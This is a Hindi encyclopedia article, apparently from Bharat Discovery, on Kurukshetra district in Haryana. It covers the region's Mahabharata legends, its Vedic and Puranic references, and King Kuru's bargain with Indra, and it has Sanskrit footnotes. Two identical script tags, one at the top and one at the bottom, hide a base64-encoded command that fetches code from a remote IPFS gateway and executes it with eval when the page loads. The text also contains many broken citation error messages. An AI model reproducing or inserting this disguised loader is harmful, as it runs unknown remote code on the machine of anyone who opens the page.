कुरुक्षेत्र

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कुरुक्षेत्र हरियाणा राज्य का एक प्रमुख ज़िला है । यह हरियाणा के उत्तर में स्थित है तथा अम्बाला, यमुना नगर, करनाल और कैथल से घिरा हुवा है । माना जाता है कि यहीं महाभारत की लड़ाई हुई थी और भगवान कृष्ण ने अर्जुन को गीता का उपदेश यहीं पर ज्योतीसर नामक स्थान पर दिया था । यह ज़िला बासमती चावल के उत्पादन के लिए भी प्रसिद्ध है । कुरुक्षेत्र का पौराणिक महत्व अधिक माना जाता है । इसका ॠग्वेद और यजुर्वेद मे अनेक स्थानो पर वर्णन किया गया है । यहाँ की पौराणिक नदी सरस्वती का भी अत्यन्त महत्व है । इसके अतिरिक्त अनेक पुराणों, स्मृतियों और महर्षि वेदव्यास रचित महाभारत में इसका विस्तृत वर्णन किया गया हैं । विशेष तथ्य यह है कि कुरुक्षेत्र की पौराणिक सीमा 48 कोस की मानी गई है जिसमें कुरुक्षेत्र के अतिरिक्त कैथल , करनाल, पानीपत और जिंद का क्षेत्र सम्मिलित हैं।

कुरुक्षेत्र अम्बाला से 25 मील पूर्व में है। यह एक अति पुनीत स्थल है। इसका इतिहास पुरातन गाथाओं में समा-सा गया है। ऋग्वेदसन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला उस वेदी के दक्षिण ओर खाण्डव था, उत्तरी भाग तूर्घ्न था, पृष्ठ भाग परीण था और मरु (रेगिस्तान) उत्कर (कूड़ा वाल गड्ढा) था। इससे प्रकट होता है कि खाण्डव, तूर्घ्न एवं परीण कुरुक्षेत्र के सीमा-भाग थे और मरु जनपद कुरुक्षेत्र से कुछ दूर था। अवश्वलायनसन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला

  • वामन पुराणसन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला हमने यह भी देख लिया है कि ब्राह्मण-काल में अत्यन्त पुनीत नदी सरस्वती कुरुक्षेत्र से होकर बहती थी और जहाँ यह मरुभूमि में अन्तर्हित हो गयी थी उसे 'विनशन' कहा जाता था और वही भी एक तीर्थस्थल था।

यज्ञिय वेदी

आरम्भिक रूप में कुरुक्षेत्र ब्रह्मा की यज्ञिय वेदी कहा जाता था, आगे चलकर इसे समन्तपञ्चक कहा गया, जबकि परशुराम ने अपने पिता की हत्या के प्रतिशोध में क्षत्रियों के रक्त से पाँच कुण्ड बना डाले, जो पितरों के आशीर्वचनों से कालान्तर में पाँच पवित्र जलाशयों में परिवर्तित हो गये। आगे चलकर यह भूमि कुरुक्षेत्र के नाम से प्रसिद्ध हुई जब कि संवरण के पुत्र राजा कुरु ने सोने के हल से सात कोस की भूमि जोत डाली।[1]

इन्द्र से वर

कुरु नामक राजा के नाम पर ही 'कुरुक्षेत्र' नाम पड़ा है। कुरु ने इन्द्र से वर माँगा था कि वह भूमि, जिसे उसने जोता था, धर्मक्षेत्र कहलाये और जो लोग वहाँ स्नान करें या मरें वे महापुण्यफल पायें।[2] कौरवों एवं पाण्डवों का युद्ध यहीं हुआ था। भगवद्गीता के प्रथम श्लोक में 'धर्मक्षेत्र' शब्द आया है। वायु पुराणसन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला


महाभारत एवं कुछ पुराणों में कुरुक्षेत्र की सीमाओं के विषय में एक कुछ अशुद्ध श्लोक आया है, यथा- तरन्तु एवं कारन्तुक तथा मचक्रुक (यक्ष की प्रतिमा) एवं रामह्रदों (परशुराम द्वारा बनाये गये तालाबों) के बीच की भूमि कुरुक्षेत्र, समन्तपञ्चक, एवं ब्रह्मा की उत्तरी वेदी है।[3] इसका फल यह है कि कुरुक्षेत्र कई नामों से व्यक्त हुआ है, यथा- ब्रह्मसर, रामह्रद, समन्तपञ्चक, विनशन, सन्निहती।सन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला इस विश्व में इससे बढ़कर कोई अन्य पुनीत स्थल नहीं है। यहाँ तक कि यहाँ की उड़ी हुई धूलि के कण पापी को परम पद देते हैं।' यहाँ तक कि गंगा की भी तुलना कुरुक्षेत्र से की गयी है।सन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला

तीर्थों का उल्लेख

यह ज्ञातव्य है कि यद्यपि वनपर्व ने 83वें अध्याय में सरस्वती तट पर एवं कुरुक्षेत्र में कतिपय तीर्थों का उल्लेख किया है, किन्तु ब्राह्मणों एवं श्रौतसूत्रों में उल्लिखित तीर्थों से उनका मेल नहीं खाता, केवल 'विनशन'सन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला शल्यपर्वसन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला

पौराणिक कथा

कुरू ने जिस क्षेत्र को बार-बार जोता था, उसका नाम कुरूक्षेत्र पड़ा। कहते हैं कि जब कुरू बहुत मनोयोग से इस क्षेत्र की जुताई कर रहे थे तब इन्द्र ने उनसे जाकर इस परिश्रम का कारण पूछा। कुरू ने कहा-'जो भी व्यक्ति यहाँ मारा जायेगा, वह पुण्य लोक में जायेगा।' इन्द्र उनका परिहास करते हुए स्वर्गलोक चले गये। ऐसा अनेक बार हुआ। इन्द्र ने देवताओं को भी बतलाया। देवताओं ने इन्द्र से कहा-'यदि संभव हो तो कुरू को अपने अनुकूल कर लो अन्यथा यदि लोग वहां यज्ञ करके हमारा भाग दिये बिना स्वर्गलोक चले गये तो हमारा भाग नष्ट हो जायेगा।' तब इन्द्र ने पुन: कुरू के पास जाकर कहा-'नरेश्वर, तुम व्यर्थ ही कष्ट कर रहे हो। यदि कोई भी पशु, पक्षी या मनुष्य निराहार रहकर अथवा युद्ध करके यहाँ मारा जायेगा तो स्वर्ग का भागी होगा।' कुरू ने यह बात मान ली। यही स्थान समंत-पंचक अथवा प्रजापति की उत्तरवेदी कहलाता है। [4]

टीका-टिप्पणी

  1. आद्यैषा ब्रह्मणो वेदिस्ततो रामहृदा: स्मृता:। कुरुणा च यत: कृष्टं कुरुक्षेत्रं तत: स्मृतम्॥ वामन पुराण (22.59-60)। वामन पुराण (22.18-20) के अनुसार ब्रह्मा की पाँच वेदियाँ ये हैं-
    • समन्तपञ्चक (उत्तरा),
    • प्रयाग (मध्यमा),
    • गयाशिर (पूर्वा),
    • विरजा (दक्षिणा) एवं
    • पुष्कर (प्रतीची)।
    'स्यमन्तपंचक' शब्द भी आया है। (वामन पुराण 22.20 एवं पद्म पुराण 4.17.7) विष्णु पुराण (विष्णु पुराण, 4.19.74-77) के मत से कुरु की वंशावलीयों है- 'अजमीढ-ऋक्ष-संवरण-कुरु' एवं 'य इदं धर्मक्षेत्रं चकार'।
  2. यावदेतन्मया कृष्टं धर्मक्षेत्रं तदस्तु व:। स्नातानां च मृतानां च महापुण्यफलं त्विह॥ वामन पुराण (वामन पुराण, 22.33-34) मिलाइए शल्य पर्व महाभारत (शल्यपर्व, 53.13-14)
  3. तरन्तुकारन्तुकयोर्यदन्तरं रामह्रदानां च मचक्रुकस्य। एतत्कुरुक्षेत्रसमन्तपञ्चकं पितामहस्योत्तरवेदिरुच्यते॥ वनपर्व (83।208), शल्य पर्व (53।24)। पद्म पुराण (1।27।92) ने 'तरण्डकारण्डकयो:' पाठ दिया है (कल्पतरु, तीर्थ, पृ0 171)। वनपर्व (83।9-15 एवं 200) में आया हे कि भगवान् विष्णु द्वारा नियुक्त कुरुक्षेत्र के द्वारपालों में एक द्वारपाल था मचक्रक नामक यक्ष। क्या हम प्रथम शब्द को 'तरन्तुक' एवं 'अरन्तुक' में नहीं विभाजित कर सकते? नारदीय पुराण (उत्तर, 65।24) में कुरुक्षेत्र के अन्तर्गत 'रन्तुक' नामक उपतीर्थ का उल्लेख है (तीर्थप्र0, पृ0 464-465)। कनिंघम के मत से रत्नुक' थानेसर के पूर्व 4 मील की दूरी पर कुरुक्षेत्र के घेरे के उत्तर-पूर्व में स्थित रतन यक्ष है।
  4. महाभारत, शल्यपर्व, अध्याय 53

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>